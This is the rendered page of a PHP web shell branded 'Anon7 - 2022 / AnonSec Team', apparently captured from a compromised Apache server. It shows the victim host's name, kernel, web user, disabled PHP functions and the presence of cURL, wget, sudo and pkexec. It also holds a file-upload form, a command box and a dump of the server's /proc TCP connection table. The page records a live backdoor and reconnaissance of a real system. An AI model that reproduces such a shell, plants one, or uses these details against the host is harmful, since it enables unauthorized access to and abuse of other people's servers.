NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.57
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/29306/task/29311/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/29306/task/29311/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 110316835 1 0000000000000000 100 0 0 10 0                 
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54024 1 0000000000000000 100 0 0 10 0                     
   2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 110316837 1 0000000000000000 100 0 0 10 0                 
   3: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 3144659 1 0000000000000000 100 0 0 10 5                   
   4: 0100007F:B184 0100007F:0CEA 06 00000000:00000000 03:0000156D 00000000     0        0 0 3 0000000000000000                                      
   5: 0100007F:B168 0100007F:0CEA 06 00000000:00000000 03:0000153E 00000000     0        0 0 3 0000000000000000                                      
   6: 0100007F:B126 0100007F:0CEA 06 00000000:00000000 03:000014DE 00000000     0        0 0 3 0000000000000000                                      
   7: 0100007F:B1A2 0100007F:0CEA 06 00000000:00000000 03:00001591 00000000     0        0 0 3 0000000000000000                                      
   8: 0100007F:B156 0100007F:0CEA 06 00000000:00000000 03:0000152C 00000000     0        0 0 3 0000000000000000                                      
   9: 0100007F:B180 0100007F:0CEA 06 00000000:00000000 03:0000155A 00000000     0        0 0 3 0000000000000000                                      
  10: 0100007F:B144 0100007F:0CEA 06 00000000:00000000 03:00001514 00000000     0        0 0 3 0000000000000000                                      
  11: 0100007F:B160 0100007F:0CEA 06 00000000:00000000 03:00001535 00000000     0        0 0 3 0000000000000000                                      
  12: 3DD7D186:8AE4 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   101        0 116912980 2 0000000000000000 20 4 30 10 -1                
  13: 0100007F:B174 0100007F:0CEA 06 00000000:00000000 03:00001551 00000000     0        0 0 3 0000000000000000                                      
  14: 0100007F:B1B2 0100007F:0CEA 06 00000000:00000000 03:000015A3 00000000     0        0 0 3 0000000000000000                                      
  15: 0100007F:B18E 0100007F:0CEA 06 00000000:00000000 03:0000157F 00000000     0        0 0 3 0000000000000000                                      
  16: 0100007F:B134 0100007F:0CEA 06 00000000:00000000 03:000014FD 00000000     0        0 0 3 0000000000000000                                      
  17: 0100007F:B128 0100007F:0CEA 06 00000000:00000000 03:000014F4 00000000     0        0 0 3 0000000000000000                                      
  18: 0100007F:B194 0100007F:0CEA 06 00000000:00000000 03:00001588 00000000     0        0 0 3 0000000000000000                                      
  19: 0100007F:B18A 0100007F:0CEA 06 00000000:00000000 03:00001576 00000000     0        0 0 3 0000000000000000                                      
  20: 0100007F:B1BE 0100007F:0CEA 06 00000000:00000000 03:000015AC 00000000     0        0 0 3 0000000000000000                                      
  21: 0100007F:B172 0100007F:0CEA 06 00000000:00000000 03:00001548 00000000     0        0 0 3 0000000000000000                                      
  22: 0100007F:B1AA 0100007F:0CEA 06 00000000:00000000 03:0000159A 00000000     0        0 0 3 0000000000000000                                      
  23: 0100007F:B182 0100007F:0CEA 06 00000000:00000000 03:00001564 00000000     0        0 0 3 0000000000000000                                      
  24: 0100007F:B14A 0100007F:0CEA 06 00000000:00000000 03:00001524 00000000     0        0 0 3 0000000000000000                                      

Anon7 - 2022
AnonSec Team